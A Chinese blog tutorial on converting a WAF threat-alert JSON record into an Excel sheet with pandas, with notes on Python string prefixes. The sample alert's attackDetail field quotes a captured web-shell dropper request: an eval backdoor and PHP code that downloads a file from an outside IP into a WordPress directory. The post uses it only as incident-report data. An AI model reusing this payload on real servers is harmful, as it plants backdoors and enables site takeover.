Python三行代码实现json转Excel

简介: 最近重保,经常需要通过Excel上报威胁事件。安全设备的告警很多都是json格式的,就需要将json转成Excel。用Python将json转成excel也就三行代码的事,先将json串导入形成字典对象,再通过pandas转成DataFrame直接输出excel。

最近重保,经常需要通过Excel上报威胁事件。安全设备的告警很多都是json格式的,就需要将json转成Excel。
用Python将json转成excel也就三行代码的事,先将json串导入形成字典对象,再通过pandas转成DataFrame直接输出excel。

实现如下:

一、引包
引入pandas包,pandas写excel依赖openpyxl包所以也到导入

pip install pandas 
pip install openpyxl

二、代码

import json
import pandas as pd
json_data=r'''
{
   "msg": "",
   "killChain": "02",
   "attackIllustration": "1起恶意盲打木马写入攻击",
   "traceSourceFlag": "01",
   "riskLevel": "02",
   "holeType": "",
   "discoveryTime": "2023-08-15 14:36:23",
   "disposalMeasure": "01",
   "informationSource": "长亭WAF",
   "disposalSuggestion": "建议封禁",
   "riskLevelPredue": "",
   "impactFlag": "02",
   "disposalOperateRecord": "WAF封禁",
   "serialNo": "ABC123",
   "sourceIpBelong": "美国",
   "potentialImpact": "无",
   "sourceIpType": "04",
   "protocalType": "HTTP",
   "disposalFlag": "01",
   "groupOrderType": "1",
   "comment": "通过微步溯源,IP归属地是美国",
   "attackDetail": "POST //wp-admin/css/colors/blue/blue.php?wall=ZWNobyBhRHJpdjQ7ZXZhbCgkX1BPU1RbJ3Z6J10pOw== HTTP/1.1\n\nHost: abcd.cn\n\nConnection: keep-alive\n\nAccept-Encoding: gzip, deflate\n\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n\nUser-Agent: Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36\n\nAccept-Language: en-US,en;q=0.9,fr;q=0.8\n\nCache-Control: max-age=0\n\nreferer: www.google.com\n\nUpgrade-Insecure-Requests: 1\n\nContent-Length: 231\n\nContent-Type: application/x-www-form-urlencoded\n\n\n\nvz=$x=fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/wp-admin/css/colors/blue/uploader.php','w+'),file_get_contents('http://51.79.124.111/vz.txt'));echo+\"aDriv4\".$x;",
   "taskId": "",
   "status": ""
}'''
dic_data = json.loads(json_data,strict=False)
df_data=pd.DataFrame(dic_data,index=[0])
df_data.to_excel('attack.xlsx')

效果:
json转excel
json转excel.png

三、注意事项
因为attackDetail字段有很多类似\n等的转义符,会导致json解析不成功,在json.loads的时候就会报错。报类似于
json.decoder.JSONDecodeError: Expecting ',' delimiter: line 50 column 149 (char 1339)的错误。所以需要在字符串前面加r标识来忽略掉转义机制。

常见的字符串标识u,r,b,f

字符串前加u
后面字符串以 Unicode格式进行编码,一般用在中文字符串前面,防止因为源码储存格式问题,导致再次使用时出现乱码。
字符串前加r
去掉反斜杠的转义机制。(特殊字符:即那些,反斜杠加上对应字母,表示对应的特殊含义的,比如最常见的”\n”表示换行,”\t”表示Tab等。 )
字符串前加b
b前缀表示:后面字符串是bytes 类型。
字符串前加f
以 f 开头表示在字符串内支持大括号内的python 表达式字符串拼接。
如:

name='xiejava'
outputstr=f'My name is {name}'
print(outputstr)

输出结果为:

My name is xiejava
目录
相关文章
|
23天前
|
存储 缓存 Java
Python高性能编程:五种核心优化技术的原理与Python代码
Python在高性能应用场景中常因执行速度不及C、C++等编译型语言而受质疑,但通过合理利用标准库的优化特性,如`__slots__`机制、列表推导式、`@lru_cache`装饰器和生成器等,可以显著提升代码效率。本文详细介绍了这些实用的性能优化技术,帮助开发者在不牺牲代码质量的前提下提高程序性能。实验数据表明,这些优化方法能在内存使用和计算效率方面带来显著改进,适用于大规模数据处理、递归计算等场景。
58 5
Python高性能编程:五种核心优化技术的原理与Python代码
|
1月前
|
数据可视化 数据挖掘 大数据
1.1 学习Python操作Excel的必要性
学习Python操作Excel在当今数据驱动的商业环境中至关重要。Python能处理大规模数据集,突破Excel行数限制;提供丰富的库实现复杂数据分析和自动化任务,显著提高效率。掌握这项技能不仅能提升个人能力,还能为企业带来价值,减少人为错误,提高决策效率。推荐从基础语法、Excel操作库开始学习,逐步进阶到数据可视化和自动化报表系统。通过实际项目巩固知识,关注新技术,为职业发展奠定坚实基础。
|
2月前
|
Python
课程设计项目之基于Python实现围棋游戏代码
游戏进去默认为九路玩法,当然也可以选择十三路或是十九路玩法 使用pycharam打开项目,pip安装模块并引用,然后运行即可, 代码每行都有详细的注释,可以做课程设计或者毕业设计项目参考
78 33
|
2月前
|
JavaScript API C#
【Azure Developer】Python代码调用Graph API将外部用户添加到组,结果无效,也无错误信息
根据Graph API文档,在单个请求中将多个成员添加到组时,Python代码示例中的`members@odata.bind`被错误写为`members@odata_bind`,导致用户未成功添加。
52 10
|
2月前
|
数据可视化 Python
以下是一些常用的图表类型及其Python代码示例,使用Matplotlib和Seaborn库。
通过这些思维导图和分析说明表,您可以更直观地理解和选择适合的数据可视化图表类型,帮助更有效地展示和分析数据。
105 8
|
2月前
|
机器学习/深度学习 前端开发 数据处理
利用Python将Excel快速转换成HTML
本文介绍如何使用Python将Excel文件快速转换成HTML格式,以便在网页上展示或进行进一步的数据处理。通过pandas库,你可以轻松读取Excel文件并将其转换为HTML表格,最后保存为HTML文件。文中提供了详细的代码示例和注意事项,帮助你顺利完成这一任务。
105 0
|
2月前
|
Python
探索Python中的装饰器:简化代码,增强功能
在Python的世界里,装饰器就像是给函数穿上了一件神奇的外套,让它们拥有了超能力。本文将通过浅显易懂的语言和生动的比喻,带你了解装饰器的基本概念、使用方法以及它们如何让你的代码变得更加简洁高效。让我们一起揭开装饰器的神秘面纱,看看它是如何在不改变函数核心逻辑的情况下,为函数增添新功能的吧!
|
2月前
|
程序员 测试技术 数据安全/隐私保护
深入理解Python装饰器:提升代码重用与可读性
本文旨在为中高级Python开发者提供一份关于装饰器的深度解析。通过探讨装饰器的基本原理、类型以及在实际项目中的应用案例,帮助读者更好地理解并运用这一强大的语言特性。不同于常规摘要,本文将以一个实际的软件开发场景引入,逐步揭示装饰器如何优化代码结构,提高开发效率和代码质量。
74 6
|
4月前
|
JSON 数据格式 Python
Python编程:利用JSON模块编程验证用户
Python编程:利用JSON模块编程验证用户
40 1
|
4月前
|
存储 JSON 数据格式
Python 输入输出与文件处理: io、pickle、json、csv、os.path 模块详解
Python 输入输出与文件处理: io、pickle、json、csv、os.path 模块详解
60 0

热门文章

最新文章

推荐镜像

更多